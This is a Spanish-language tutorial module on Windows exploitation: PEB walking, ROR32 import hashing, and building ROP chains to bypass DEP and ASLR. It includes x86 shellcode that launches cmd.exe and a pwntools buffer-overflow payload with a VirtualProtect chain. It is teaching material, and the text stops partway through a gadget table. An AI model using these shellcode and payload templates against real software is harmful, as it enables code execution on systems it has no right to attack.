Return Oriented Programming (ROP) — Windows¶
Objetivo: Comprender qué es ROP, por qué es necesario en entornos con DEP/NX activo, cómo se construye una cadena ROP en Windows, cómo se buscan y clasifican gadgets, y las técnicas más comunes para escalar a ejecución de código arbitrario en binarios Windows nativos.
← Volver al Módulo 4¶
Tabla de Contenidos¶
- Windows Shellcoding
- Arquitectura de Windows
- No hay syscalls — PE, IAT y EAT
- Win32 APIs de interés
- Obtener la base de kernel32 via PEB
- Por qué ROP — DEP y NX
- Gadgets
- Stack pivoting
- Construcción de una ROP chain
- Técnicas ROP en Windows
- Herramientas para encontrar gadgets
- ASLR y módulos sin ASLR
- Ejemplo práctico — VirtualProtect ROP chain (x86)
- Gadgets comunes y su uso
- ROPLang — El lenguaje virtual de ROP
- CVE-2010-3333 — Ejemplo real con ROP3
- Problemas comunes en exploits reales
- Resumen y Flujo de Explotación
Windows Shellcoding¶
Arquitectura de Windows¶
Windows NT fue lanzado en 1991 (versión 3.1), inspirado en VMS (Virtual Memory System) de DEC, pero con diferencias como los kernel threads. La arquitectura se organiza en dos grandes capas:
User-mode:
- Applications, DLLs, System Services, Login/GINA
- Kernel32, Critical Services, User32/GDI
- ntdll / run-time library (interfaz hacia el kernel)
Kernel-mode: - NTOS: Run-time Library, scheduling, executive services, object manager, I/O services, memory, processes - HAL (Hardware Adaptation Layer): aísla NTOS y los drivers de las dependencias de hardware; provee device access, timers, interrupt servicing, clocks, spinlocks - Drivers: extensiones del kernel (principalmente acceso a dispositivos)
No hay syscalls — PE, IAT y EAT¶
A diferencia de Linux, en Windows no existen syscalls directas accesibles desde userland. Toda la funcionalidad se expone a través de la Win32 API, encapsulada en DLLs. La interfaz del kernel puede cambiar con cada service pack o release.
Windows usa el formato PE (Portable Executable) para sus binarios:
| Estructura | Descripción |
|---|---|
| IAT (Import Address Table) | Indica qué funciones necesita el PE de otras DLLs |
| EAT (Export Address Table) | Expone las funciones propias a otros módulos |
Sección .reloc |
Permite reubicar una DLL en memoria si es necesario (ASLR) |
Win32 APIs de interés¶
| API | Descripción |
|---|---|
VirtualProtect() |
Cambia permisos de una página de memoria (clave para bypass DEP) |
WSASocket() |
WINSOCKS — similar a psockets de Linux. Requiere llamar a WSAStartup() antes de cualquier otra función de socket |
WinExec() |
Lanza un programa a partir de una línea de comando |
Obtener la base de kernel32 via PEB¶
Todo proceso Windows carga al menos ntdll.dll y kernel32.dll. Con ASLR activo no se pueden hardcodear sus direcciones, pero se pueden resolver dinámicamente recorriendo estructuras del proceso en memoria.
El proceso mantiene un bloque PEB (Process Environment Block) que contiene PEB_LDR_DATA con tres listas doblemente enlazadas con los módulos cargados:
typedef struct _PEB_LDR_DATA {
0x00 ULONG Length;
0x04 BOOLEAN Initialized;
0x08 PVOID SsHandle;
0x0c LIST_ENTRY InLoadOrderModuleList; // exe, ntdll, kernel32 ...
0x14 LIST_ENTRY InMemoryOrderModuleList;
0x1c LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress; // ← lo que queremos
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
...
};
Orden en las listas:
| Lista | 1° | 2° | 3° |
|---|---|---|---|
InInitializationOrderModuleList |
ntdll |
kernel32 |
... |
InLoadOrderModuleList |
proceso (.exe) | ntdll |
kernel32 |
InMemoryOrderModuleList |
proceso (.exe) | ntdll |
kernel32 |
Shellcode x86 para obtener la base de kernel32.dll:
FindK32BaseAdd:
33C0 XOR EAX, EAX ; limpiar EAX
64:8B40 30 MOV EAX, DWORD PTR FS:[EAX+30] ; acceder al PEB (FS:[30h])
8B40 0C MOV EAX, DWORD PTR DS:[EAX+C] ; acceder a PEB_LDR_DATA
8B40 0C MOV EAX, DWORD PTR DS:[EAX+C] ; flink de InLoadOrderModuleList
8B00 MOV EAX, DWORD PTR DS:[EAX] ; siguiente elemento (ntdll)
8B00 MOV EAX, DWORD PTR DS:[EAX] ; siguiente elemento (kernel32)
8B68 18 MOV EBP, DWORD PTR DS:[EAX+18] ; BaseAddress de kernel32
; EBP ahora contiene la dirección base de kernel32.dll
Obtener direcciones de WinAPIs via EAT (ROT32)¶
Con la base de kernel32 en mano necesitamos resolver LoadLibraryA y GetProcAddress. Las opciones son:
- Por posición en la EAT: no portable, depende de la versión exacta de
kernel32. - Iterar la EAT comparando strings: funciona, pero incluir strings en shellcode es complicado.
- Hash ROR32 de los nombres: técnica clásica — se precalcula un hash de cada nombre de función y se compara con una constante. No requiere strings en el shellcode.
Función ROR32:
uint32_t rotr32(uint32_t value, unsigned int count) {
const unsigned int mask = (CHAR_BIT * sizeof(value) - 1);
count &= mask;
return (value >> count) | (value << ((-count) & mask));
}
int computeROR(char *s) {
int value = 0;
for (int i = 0; i < strlen(s); i++)
value = s[i] + rotr32(value, 7);
return value;
}
// GetProcAddress → 0xBBAFDF85
// LoadLibraryA → 0x0C917432
// GetModuleHandleA → 0xF4E2F2B2
Skeleton de shellcode x86 completo:
EB 48 JMP FindK32BaseAdd
Resolve:
<ResolveImportsByHashes> ; itera la EAT comparando hashes
FindK32BaseAdd:
<FindK32BaseAdd> ; deja la base de kernel32 en EBP
Init:
8D6424 80 LEA ESP, DWORD PTR SS:[ESP-80] ; reservar espacio local
8BFC MOV EDI, ESP
83C7 04 ADD EDI, 4
C707 85DFAFBB MOV DWORD PTR DS:[EDI], 0xBBAFDF85 ; hash GetProcAddress
C747 04 32749100 MOV DWORD PTR DS:[EDI+4], 0x0C917432 ; hash LoadLibraryA
C747 08 B2F2E2F4 MOV DWORD PTR DS:[EDI+8], 0xF4E2F2B2 ; hash GetModuleHandleA
33C9 XOR ECX, ECX
8D49 03 LEA ECX, DWORD PTR DS:[ECX+03] ; ECX = 3 funciones
ResolveInLoop:
E8 7CFFFFFF CALL Resolve
E2 F9 LOOPD ResolveInLoop
Shellcode mínimo para lanzar cmd.exe:
xor eax, eax
push eax
push 0x20646D63 ; "cmd " (en little-endian, terminado en espacio+null)
mov eax, esp
push 5 ; SW_SHOW
push eax
mov edi, kernel32.WinExec ; dirección resuelta dinámicamente por el código anterior
call edi
El problema con ASLR: la dirección de
WinExeccambia en cada reboot. Por eso el shellcode completo primero resuelve la base dekernel32via PEB, luego recorre su EAT con hashes ROR32 para obtenerGetProcAddress, y finalmente resuelve cualquier función que necesite.
1. ¿Qué es ROP?¶
Return Oriented Programming (ROP) es una técnica de explotación que permite ejecutar código arbitrario sin inyectar ni un solo byte de shellcode propio. En su lugar, el atacante reutiliza secuencias de instrucciones que ya existen en el binario o en sus DLLs cargadas, terminadas en ret.
Estas secuencias se llaman gadgets, y al encadenarlas correctamente sobre el stack, se construye un programa completo que realiza la acción deseada del atacante.
La idea fundamental¶
En una vulnerabilidad de buffer overflow clásica sin protecciones, el atacante: 1. Sobrescribe la dirección de retorno con la dirección de su shellcode. 2. Coloca el shellcode en el stack. 3. Al retornar, el PC salta al shellcode y lo ejecuta.
Con DEP/NX activo, el stack no es ejecutable y el paso 3 falla con una excepción de acceso.
ROP resuelve esto: en lugar de apuntar a shellcode propio, la dirección de retorno apunta a un gadget legítimo ya existente en memoria ejecutable. Ese gadget hace una pequeña operación y termina en ret, que toma la siguiente dirección del stack y salta ahí — el siguiente gadget. Así se encadena la ejecución.
Stack del atacante (ROP chain):
┌──────────────────────┐ ← RSP al retornar de la función vulnerable
│ addr de gadget 1 │ → pop rdi ; ret → carga argumento 1
├──────────────────────┤
│ valor para RDI │ → 0x40 (PAGE_EXECUTE_READWRITE)
├──────────────────────┤
│ addr de gadget 2 │ → pop rsi ; ret → carga argumento 2
├──────────────────────┤
│ valor para RSI │ → tamaño de la región
├──────────────────────┤
│ addr de gadget 3 │ → ...
├──────────────────────┤
│ addr de WinAPI func │ → VirtualProtect(...)
└──────────────────────┘
Cada ret consume la siguiente entrada del stack como dirección de retorno, avanzando RSP y ejecutando el gadget siguiente. El stack actúa como un programa ROP.
2. Por qué ROP — DEP y NX¶
DEP (Data Execution Prevention)¶
DEP es la implementación de Microsoft de la protección NX (No-Execute). Marca ciertas regiones de memoria como no ejecutables. Cuando el procesador intenta ejecutar código desde una página marcada como no ejecutable, genera una excepción EXCEPTION_ACCESS_VIOLATION.
| Región | Sin DEP | Con DEP |
|---|---|---|
| Stack | R/W/X | R/W (no ejecutable) |
| Heap | R/W/X | R/W (no ejecutable) |
| Código (.text) | R/X | R/X (sin cambio) |
| Globales (.data) | R/W | R/W (no ejecutable) |
Habilitación de DEP en Windows¶
DEP puede estar en cuatro modos:
| Modo | Descripción |
|---|---|
OptIn |
Solo para procesos del sistema (default para usuarios) |
OptOut |
Para todos los procesos excepto los de la lista de exclusión |
AlwaysOn |
No se puede deshabilitar por proceso |
AlwaysOff |
Deshabilitado globalmente (solo para compatibilidad) |
El flag IMAGE_DLLCHARACTERISTICS_NX_COMPAT en el PE header indica si el binario soporta DEP. Se puede verificar con CFF Explorer o dumpbin /headers.
Por qué ROP bypasea DEP¶
Los gadgets son código en páginas marcadas como ejecutables (la sección .text de los módulos). ROP no ejecuta nada en el stack ni en el heap — solo salta entre instrucciones legítimas. Desde el punto de vista de DEP, toda la ejecución ocurre en páginas ejecutables legítimas.
3. Gadgets¶
Definición¶
Un gadget es una pequeña secuencia de instrucciones ya presente en un binario o sus módulos, que termina en una instrucción de transferencia de control: típicamente ret, pero también call [reg], jmp [reg], etc.
; Gadget típico — "pop rdi ; ret"
pop rdi ; consume un valor del stack y lo carga en RDI
ret ; consume el siguiente valor del stack como dirección de retorno
Tipos de gadgets¶
1. Gadgets de carga de registros¶
Cargan valores controlados por el atacante en registros específicos. Son los más buscados porque permiten preparar argumentos para llamadas a funciones.
pop rax ; ret ; carga un valor en RAX
pop rbx ; ret ; carga un valor en RBX
pop rcx ; ret ; primer argumento en x64 Windows
pop rdx ; ret ; segundo argumento en x64 Windows
pop r8 ; ret ; tercer argumento en x64 Windows
pop r9 ; ret ; cuarto argumento en x64 Windows
2. Gadgets aritméticos¶
Permiten sumar, restar o calcular valores en registros para construir direcciones o valores dinámicamente.
add rax, rbx ; ret ; RAX = RAX + RBX
sub rax, rbx ; ret ; RAX = RAX - RBX
inc rax ; ret ; RAX++
dec rax ; ret ; RAX--
neg rax ; ret ; RAX = -RAX (útil para construir valores con zeros en input)
xor rax, rax ; ret ; RAX = 0 (zeroing)
3. Gadgets de escritura en memoria¶
Permiten escribir datos controlados en una dirección de memoria. Fundamentales para preparar argumentos en memoria o modificar el estado del programa.
mov [rax], rbx ; ret ; escribe RBX en la dirección apuntada por RAX
mov [rdi], rsi ; ret ; escribe RSI en la dirección apuntada por RDI
mov [rcx], rdx ; ret
4. Gadgets de lectura desde memoria¶
5. Gadgets de transferencia de control¶
Se usan para llamar a funciones de la WinAPI una vez que los argumentos están preparados.
call rax ; llama a la función cuya dirección está en RAX
jmp rax ; salta a la dirección en RAX
call [rax] ; llama a la función apuntada por el valor en la dirección de RAX
6. Stack pivot gadgets¶
Redirigen RSP a una región de memoria controlada por el atacante (ver sección 4).
xchg rsp, rax ; ret ; el stack pasa a apuntar a donde RAX apuntaba
mov rsp, rbp ; ret
add rsp, 0x50 ; ret ; avanza el stack N bytes (salta sobre datos no deseados)
Gadgets "no alineados" (unintended)¶
Los gadgets no tienen que empezar en el inicio de una instrucción válida. El decodificador x86 es tolerante y puede interpretar bytes en medio de una instrucción como el inicio de otra instrucción diferente. Esto multiplica la cantidad de gadgets disponibles.
Ejemplo:
; Instrucción original en el binario (en 0x401000):
mov rax, 0xC3909090 ; bytes: 48 B8 90 90 90 C3 00 00 00 00
; Si tomamos desde el offset +3 (0x401003):
; byte 0x90 = NOP
; byte 0x90 = NOP
; byte 0x90 = NOP
; byte 0xC3 = RET
; → Gadget no alineado: "nop ; nop ; nop ; ret"
En x86/x64, el byte 0xC3 es el opcode de ret. Si aparece dentro de otra instrucción, puede servir como gadget si se apunta directamente a esa posición.
4. Stack Pivoting¶
El problema¶
Muchas veces el espacio disponible en el stack para sobrescribir no es suficiente para colocar toda la ROP chain. O bien, el desbordamiento ocurre en el heap, no en el stack.
Stack pivoting es la técnica de redirigir RSP a una región de memoria diferente donde el atacante tiene más datos controlados.
Mecánica¶
- El atacante coloca la ROP chain en una región controlada (heap, BSS, .data, etc.).
- Un gadget de pivoting intercambia RSP con un registro que apunta a esa región.
- A partir de ahí, los
retsucesivos consumen la ROP chain del atacante.
Gadgets de pivoting comunes¶
; Intercambio directo
xchg rsp, rax ; ret ; RAX debe apuntar a la cadena del atacante
xchg rsp, rbx ; ret
xchg rsp, rcx ; ret
; Carga del stack pointer
mov rsp, rax ; ret
mov rsp, [rax] ; ret ; desreferencia: RSP = *(RAX)
; Ajuste del stack pointer
add rsp, N ; ret ; salta N bytes del stack (evita datos no controlados)
sub rsp, N ; ret
; leave ; ret
; "leave" equivale a: mov rsp, rbp ; pop rbp
; Si el atacante controla RBP, puede pivotar el stack
Ejemplo de pivoting con xchg rsp, rax ; ret¶
Antes del pivot: Después del pivot:
RSP → [retaddr] RSP → ROP chain del atacante
RAX → ROP chain (RSP y RAX intercambian valores)
Stack del atacante:
┌──────────────────┐ ← nuevo RSP (= RAX antes del pivot)
│ addr gadget 1 │
├──────────────────┤
│ valor │
├──────────────────┤
│ addr gadget 2 │
└──────────────────┘
5. Construcción de una ROP chain¶
Pasos generales¶
Paso 1 — Identificar el objetivo¶
Definir qué se quiere lograr al final de la chain:
- Llamar a VirtualProtect para marcar el stack como ejecutable y luego saltar a shellcode.
- Llamar a WinExec("cmd.exe", SW_SHOW) directamente (si se trata de user-land).
- Llamar a LoadLibraryA para cargar una DLL maliciosa.
- Escribir shellcode en una región ejecutable y saltar ahí.
Paso 2 — Identificar módulos disponibles¶
Listar todos los módulos cargados por el proceso. Para ROP conveniente se prefieren módulos:
- Sin ASLR: tienen dirección base fija entre ejecuciones.
- Con muchos gadgets: módulos grandes como ntdll.dll, kernel32.dll, kernelbase.dll.
- Sin SafeSEH, CFG activo, o proteiones extras que descarten los gadgets.
# En x64dbg: ver módulos cargados
Modules tab → BaseAddress, Size, Name
# En Windbg
lm # lista todos los módulos
lm m kernel32 # info de kernel32
Paso 3 — Encontrar gadgets¶
Con herramientas como ROPgadget, ropper o mona.py (ver sección 7), volcar todos los gadgets del módulo elegido y buscar los necesarios.
Paso 4 — Resolver direcciones en runtime¶
Si los módulos tienen ASLR, se necesita un info leak previo para conocer la dirección base real. Con la base real:
Si el módulo no tiene ASLR, la dirección es fija y se puede hardcodear (aunque esto hace el exploit menos portable).
Paso 5 — Construir el payload¶
El payload es: [padding hasta llegar a ret address] + [ROP chain]
padding = b"A" * offset_hasta_retaddr # sobrescribir hasta return address
rop_chain = p64(addr_pop_rcx) # gadget: pop rcx ; ret
rop_chain += p64(addr_virtualprotect) # valor para RCX (o el primer argumento)
# ... etc.
payload = padding + rop_chain
Paso 6 — Verificar y depurar¶
Cargar el binario en x64dbg, colocar un breakpoint en la función vulnerable, enviar el payload, y seguir la ejecución gadget a gadget verificando que los registros toman los valores esperados.
6. Técnicas ROP en Windows¶
6.1 VirtualProtect — marcar región como ejecutable¶
La técnica más clásica en Windows: llamar a VirtualProtect para cambiar los permisos de una región de memoria (por ejemplo el stack o el heap donde está el shellcode) a PAGE_EXECUTE_READWRITE (0x40), y luego saltar ahí.
Prototipo de VirtualProtect:
BOOL VirtualProtect(
LPVOID lpAddress, // dirección de la región a cambiar
SIZE_T dwSize, // tamaño de la región
DWORD flNewProtect, // nuevos permisos (0x40 = PAGE_EXECUTE_READWRITE)
PDWORD lpflOldProtect // puntero donde se guarda el permiso anterior (writable)
);
Convención de llamada x86 (stdcall) — argumentos en stack¶
En x86, VirtualProtect usa stdcall: los argumentos van en el stack, de derecha a izquierda. La ROP chain los apila directamente.
Stack al llamar VirtualProtect (x86):
┌─────────────────────────┐
│ return address (post VP)│ ← hacia dónde saltar después de VirtualProtect
├─────────────────────────┤
│ lpAddress │ ← dirección del shellcode
├─────────────────────────┤
│ dwSize │ ← tamaño (ej. 0x201)
├─────────────────────────┤
│ flNewProtect │ ← 0x40
├─────────────────────────┤
│ lpflOldProtect │ ← dirección a sección .data escribible
└─────────────────────────┘
Convención de llamada x64 (fastcall) — argumentos en registros¶
En x64 Windows, los primeros 4 argumentos van en RCX, RDX, R8, R9. La ROP chain debe cargar esos registros con gadgets pop rcx ; ret, pop rdx ; ret, etc., antes de saltar a VirtualProtect.
; Pasos de la chain (x64):
pop rcx ; ret → lpAddress (dirección del shellcode)
pop rdx ; ret → dwSize
pop r8 ; ret → 0x40 (PAGE_EXECUTE_READWRITE)
pop r9 ; ret → &writableLocation (para OldProtect)
; + ajuste del shadow space (x64 requiere 0x20 bytes de shadow space antes del call)
call VirtualProtect
; a continuación: salto al shellcode ahora ejecutable
6.2 VirtualAlloc — asignar región ejecutable¶
Alternativa a VirtualProtect: asignar una nueva región con permisos PAGE_EXECUTE_READWRITE, copiar el shellcode ahí, y saltar.
LPVOID VirtualAlloc(
LPVOID lpAddress, // NULL (que el SO elija la dirección)
SIZE_T dwSize, // tamaño
DWORD flAllocationType, // MEM_COMMIT | MEM_RESERVE = 0x3000
DWORD flProtect // PAGE_EXECUTE_READWRITE = 0x40
);
El valor de retorno (en RAX/EAX) es la dirección del bloque asignado. Luego hay que usar gadgets de escritura para copiar el shellcode ahí antes de saltar.
6.3 WriteProcessMemory — escribir shellcode en región ejecutable¶
Si ya existe una región ejecutable (como el .text de una DLL), se puede usar WriteProcessMemory para escribir el shellcode directamente ahí.
BOOL WriteProcessMemory(
HANDLE hProcess, // GetCurrentProcess() = -1 = 0xFFFFFFFF
LPVOID lpBaseAddress, // dirección en .text (ejecutable)
LPCVOID lpBuffer, // origen del shellcode (en el stack o heap)
SIZE_T nSize, // tamaño
SIZE_T* lpNumberOfBytesWritten // puede ser NULL en muchos casos
);
6.4 WinExec — ejecución directa de comando¶
La técnica más simple cuando solo se quiere ejecutar un comando. No requiere shellcode propio.
UINT WinExec(
LPCSTR lpCmdLine, // "cmd.exe" / "calc.exe" / "powershell -c ..."
UINT uCmdShow // SW_SHOW = 1
);
La string "cmd.exe" o el comando deseado debe estar en una región de memoria que el atacante conozca la dirección. A menudo se usa una parte del stack, la sección .data del binario, o se escribe primero con gadgets de escritura.
6.5 LoadLibraryA — cargar DLL maliciosa¶
Si el atacante puede colocar una DLL en un path conocido, esta técnica permite cargar código arbitrario con una sola llamada a WinAPI.
7. Herramientas para encontrar gadgets¶
ROPgadget¶
La herramienta más popular para buscar gadgets. Analiza binarios Windows (PE) y Linux (ELF).
# Instalar
pip install ropgadget
# Buscar todos los gadgets en una DLL
ROPgadget --binary kernel32.dll
# Solo gadgets ROP (terminan en ret)
ROPgadget --binary kernel32.dll --rop
# Buscar un gadget específico
ROPgadget --binary kernel32.dll --rop | grep "pop rdi"
ROPgadget --binary kernel32.dll --rop | grep "xchg esp, eax"
# Excluir JOP (call/jmp en lugar de ret)
ROPgadget --binary kernel32.dll --rop --nojop
# Buscar gadget con opcode específico
ROPgadget --binary kernel32.dll --opcode c3 # solo ret
ROPgadget --binary kernel32.dll --opcode 5fc3 # pop rdi ; ret
# Generar ROP chain automática para un objetivo (limitado)
ROPgadget --binary vuln.exe --rop --chain "execve"
Ropper¶
Alternativa a ROPgadget con interfaz interactiva.
pip install ropper
# Modo interactivo
ropper --file kernel32.dll
# Buscar gadgets desde la interfaz
(ropper)> search pop rdi
(ropper)> search /1/ pop rdi # exactamente 1 instrucción antes del ret
(ropper)> search xchg esp
# Directo desde CLI
ropper -f kernel32.dll -s "pop rdi"
mona.py (plugin para Immunity Debugger / WinDbg)¶
El plugin más completo para ROP dentro de un debugger, con acceso directo a los módulos cargados por el proceso en ejecución.
# En Immunity Debugger / WinDbg con mona.py instalado:
# Buscar todos los gadgets en módulos cargados
!mona rop
# Buscar en un módulo específico
!mona rop -m kernel32.dll
# Buscar gadgets y generar chain automáticamente para VirtualProtect
!mona rop -t virtualprotect
# Buscar gadget específico
!mona find -s "\x5f\xc3" -m kernel32.dll # pop rdi ; ret
# Listar módulos sin SafeSEH/ASLR/Rebase (buenos candidatos)
!mona modules
Columnas de !mona modules:
| Columna | Descripción |
|---|---|
Rebase |
Si la base puede cambiar (ASLR) |
SafeSEH |
Si tiene SafeSEH activo |
ASLR |
Si el módulo tiene ASLR |
NXCompat |
Si soporta DEP |
OS Dll |
Si es una DLL del sistema |
Los mejores módulos para ROP son aquellos con Rebase: False, ASLR: False.
pwndbg / pwntools (para Linux — referencia cruzada)¶
En entornos CTF con binarios Linux, pwntools tiene soporte para ROP:
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])
print(rop.dump())
rp++ (rp-lin / rp-win)¶
Herramienta en C++ muy rápida para buscar gadgets en binarios grandes.
# En Windows
rp-win.exe -f C:\Windows\System32\ntdll.dll -r 5 # gadgets de hasta 5 instrucciones
rp-win.exe -f vuln.exe -r 3 --va 0x400000 # con base de rebase
ROP3¶
Herramienta en Python desarrollada en la Universidad de Zaragoza (R.J. Rodríguez), diseñada específicamente para construir ROP chains a partir de operaciones virtuales de alto nivel descritas en YAML.
- Motor de disassembly: usa Capstone
- Algoritmo de búsqueda: similar al algoritmo de Galileo (Shacham 2007)
- Define operaciones en YAML: permite especificar gadgets personalizados
- Resuelve dependencias con DFS + backtracking sobre un árbol de gadgets
- Side effects: poda ramas del árbol que generarían conflictos
- Disponible como herramienta CLI y como librería Python3
- Licencia GNU/GPLv3: https://github.com/reverseame/rop3
Parámetros relevantes:
| Parámetro | Descripción |
|---|---|
--depth N |
Máximo número de instrucciones por gadget |
--endings ret,jmp,retf |
Instrucciones finales aceptadas para gadgets |
-f binary |
Binario de entrada (PE o ELF) |
Ejemplo de archivo YAML para definir operaciones:
# Operación add(dst, src): tres formas de realizarla
add:
# Forma 1: add directo
-
- mnemonic: add
op1: dst
op2: src
# Forma 2: clc + adc
-
- mnemonic: clc
- mnemonic: adc
op1: dst
op2: src
# Operación not(dst): dos formas
not:
# Forma 1: not directo
-
- mnemonic: not
op1: dst
# Forma 2: xor con 0xFFFFFFFF
-
- mnemonic: xor
op1: dst
op2:
reg: src
value: 0xFFFFFFFF
Flujo de ROP3: 1. Encontrar todos los gadgets que cumplan cada operación ROPLang 2. Construir un árbol según el orden de operaciones de la chain 3. Resolver dependencias recorriendo el árbol en depth-first con backtracking 4. Los side effects podan ramas conflictivas automáticamente
8. ASLR y módulos sin ASLR¶
El problema de ASLR con ROP¶
Con ASLR activo, la dirección base de cada módulo cambia en cada ejecución. Un gadget que estaba en 0x7FF812340ABC en una ejecución puede estar en 0x7FF6A1230ABC en la siguiente. Las ROP chains con direcciones hardcodeadas solo funcionan en módulos sin ASLR.
Módulos sin ASLR — cómo identificarlos¶
Un módulo no tiene ASLR si su PE header tiene el flag IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE no seteado en DllCharacteristics.
# Con mona.py en Immunity Debugger
!mona modules
# Buscar filas donde ASLR = False
# Con dumpbin (Windows SDK)
dumpbin /headers vuln.exe | findstr /i "dynamic base"
# Con CFF Explorer
Optional Header → DLL Characteristics → Dynamic Base (deberá estar desmarcado)
Módulos ejecutados a dirección fija (comunes en binarios viejos):¶
- El binario principal compilado sin
/DYNAMICBASE(frecuente en software legado, juegos viejos, etc.) - DLLs de terceros sin
/DYNAMICBASE(común en aplicaciones corporativas antiguas)
Estrategia con ASLR activo — Info Leak primero¶
Si todos los módulos tienen ASLR, el flujo es:
1. Obtener info leak
→ Vulnerability de lectura (format string, OOB read, uninit memory)
→ Leer un puntero de retorno del stack o una dirección de función de la GOT/IAT
→ Calcular el offset: base = leaked_addr - offset_conocido_dentro_del_modulo
2. Con la base real del módulo:
gadget_real = base + offset_del_gadget
3. Construir la ROP chain con las direcciones reales
Bypass de ASLR — técnicas adicionales¶
Brute force (solo 32 bits)¶
En x86 de 32 bits, el espacio de direcciones es pequeño (2^16 posiciones de ASLR efectivas en algunos casos). Se puede probar repetidamente con la dirección más probable hasta acertar. En x64 esto no es práctico (64 bits de espacio).
Uso del binario principal (no DLLs)¶
A veces el ejecutable principal (.exe) no tiene ASLR aunque sus DLLs sí lo tengan. En ese caso, los gadgets del .exe están a dirección fija.
Heap spray¶
Colocar la ROP chain o el shellcode en muchas posiciones del heap para aumentar la probabilidad de aterrizar en la cadena independientemente de la aleatorización.
9. Ejemplo práctico — VirtualProtect ROP chain (x86)¶
Este ejemplo muestra una ROP chain completa para x86 Windows que llama a VirtualProtect para marcar el stack como ejecutable y luego saltar al shellcode.
Escenario¶
- Binario x86 con vulnerabilidad de buffer overflow clásica (stack-based).
- DEP activo, no hay canary (compilado sin
/GS). - El binario principal (
vuln.exe) no tiene ASLR. kernel32.dlltiene ASLR, pero los gadgets del.exeson suficientes.
1 — Calcular el offset hasta la dirección de retorno¶
# Generar patrón cíclico con pwntools o mona
from pwn import cyclic, cyclic_find
pattern = cyclic(200)
# Enviar al programa, ver qué valor tiene EIP al crashear
# Supongamos que EIP = 0x61616166 ("faaa" en little-endian)
offset = cyclic_find(0x61616166)
print(f"Offset: {offset}") # → 112
2 — Dirección de VirtualProtect en kernel32.dll (con ASLR → necesita leak)¶
# Si kernel32.dll tiene ASLR, se necesita leak de su base
# Asumiendo que ya se tiene la base:
kernel32_base = 0x76A00000 # dirección de ejemplo (obtenida por leak)
virtualprotect_offset = 0x000ABCDE # offset desde la base (obtenido con GetProcAddress / dumpbin)
virtualprotect_addr = kernel32_base + virtualprotect_offset
3 — Encontrar gadgets necesarios en el .exe (sin ASLR)¶
ROPgadget --binary vuln.exe --rop | grep "pop ebp ; ret"
ROPgadget --binary vuln.exe --rop | grep "pop ecx ; ret"
ROPgadget --binary vuln.exe --rop | grep "pushad ; ret" # para colocar todos los regs en stack
4 — Dirección escribible para OldProtect¶
VirtualProtect necesita un puntero a DWORD escribible para guardar el permiso anterior. Se usa una dirección en la sección .data del binario (que no tiene ASLR y es R/W).
# Buscar sección .data con dumpbin o en IDA (cualquier dirección en .data sirve)
old_protect_ptr = 0x00405100 # dirección en .data del vuln.exe
5 — Construir la chain¶
from pwn import *
# --- Configuración ---
offset = 112
elf_base = 0x00400000 # base del vuln.exe (sin ASLR)
# Gadgets en vuln.exe (offsets obtenidos con ROPgadget)
pop_ecx_ret = elf_base + 0x1234 # pop ecx ; ret
pop_ebp_ret = elf_base + 0x5678 # pop ebp ; ret
jmp_esp = elf_base + 0x9ABC # jmp esp (para saltar al shellcode tras el ret de VP)
# VirtualProtect (con base de kernel32 obtenida por leak)
vp_addr = 0x76AABCDE # VirtualProtect
# Dirección del shellcode: será ESP + algo después de que VP retorne
shellcode_addr = 0xDEADBEEF # rellenar en runtime con la dirección real del stack
old_protect_ptr = 0x00405100 # .data del vuln.exe
# Shellcode de ejemplo (calc.exe)
shellcode = b"\x90" * 16 # NOP sled
shellcode += b"\xcc" * 4 # INT3 como placeholder (reemplazar con shellcode real)
# --- Construcción del payload ---
# stdcall: argumentos en stack: (retaddr, lpAddress, dwSize, flNewProtect, lpflOldProtect)
rop = p32(vp_addr) # dirección de retorno de foo() → salta a VirtualProtect
rop += p32(jmp_esp) # return address de VirtualProtect → salta al shellcode
rop += p32(shellcode_addr) # lpAddress (dirección del shellcode en el stack)
rop += p32(0x201) # dwSize (513 bytes, suficiente para el shellcode)
rop += p32(0x40) # flNewProtect = PAGE_EXECUTE_READWRITE
rop += p32(old_protect_ptr) # lpflOldProtect (dirección escribible)
payload = b"A" * offset + rop + shellcode
6 — Verificar en x64dbg¶
1. Cargar vuln.exe en x64dbg
2. Breakpoint en la función vulnerable
3. Enviar el payload
4. Verificar que ESP apunta a la ROP chain
5. Step through (F7) gadget por gadget:
- ret → salta a VirtualProtect
- dentro de VP: ejecuta normalmente
- ret de VP → salta a jmp esp
- jmp esp → salta al shellcode en el stack
- shellcode ejecuta (INT3 activa el breakpoint)
9.2 Otro ejemplo con VirtualProtect en x64¶
Para rearmar VirtualProtect con gadgets necesitamos re-armar los argumentos en el stack. En x64, los argumentos van en registros (RCX, RDX, R8, R9), así que necesitamos gadgets para colocar los valores correctos en los registros antes de llamar a VirtualProtect.
Ejemplo de VirtualProtect en assembler:¶
; ROP chain para VirtualProtect en x64 Windows
; 1. Cargar argumentos en registros
pop rcx ; ret → lpAddress (dirección del shellcode)
pop rdx ; ret → dwSize
pop r8 ; ret → flNewProtect (0x40)
pop r9 ; ret → lpflOldProtect (dirección escribible)
; 2. Ajustar shadow space (x64 requiere 0x20 bytes de shadow space antes del call)
add rsp, 0x28 ; ret ; 0x20 shadow space +
; 3. Llamar a VirtualProtect
call VirtualProtect
; 4. Saltar al shellcode ahora ejecutable
jmp rsp
Ahora tenemos que buscar gadgets para cada uno de esos pasos en el módulo elegido (idealmente el ejecutable principal sin ASLR).
10. Gadgets comunes y su uso¶
Tabla de referencia rápida¶
| Gadget | Instrucciones | Uso típico |
|---|---|---|
pop rax ; ret |
Carga RO del stack | Cargar WinAPI addr, valor arbitrario |
pop rcx ; ret |
Carga arg 1 (x64) | Primer argumento de WinAPI |
pop rdx ; ret |
Carga arg 2 (x64) | Segundo argumento de WinAPI |
pop r8 ; ret |
Carga arg 3 (x64) | Tercer argumento de WinAPI |
pop r9 ; ret |
Carga arg 4 (x64) | Cuarto argumento de WinAPI |
xchg rsp, rax ; ret |
Stack pivot | Redirigir RSP a ROP chain |
mov [rax], rbx ; ret |
Write primitive | Escribir shellcode / strings en memoria |
xor rax, rax ; ret |
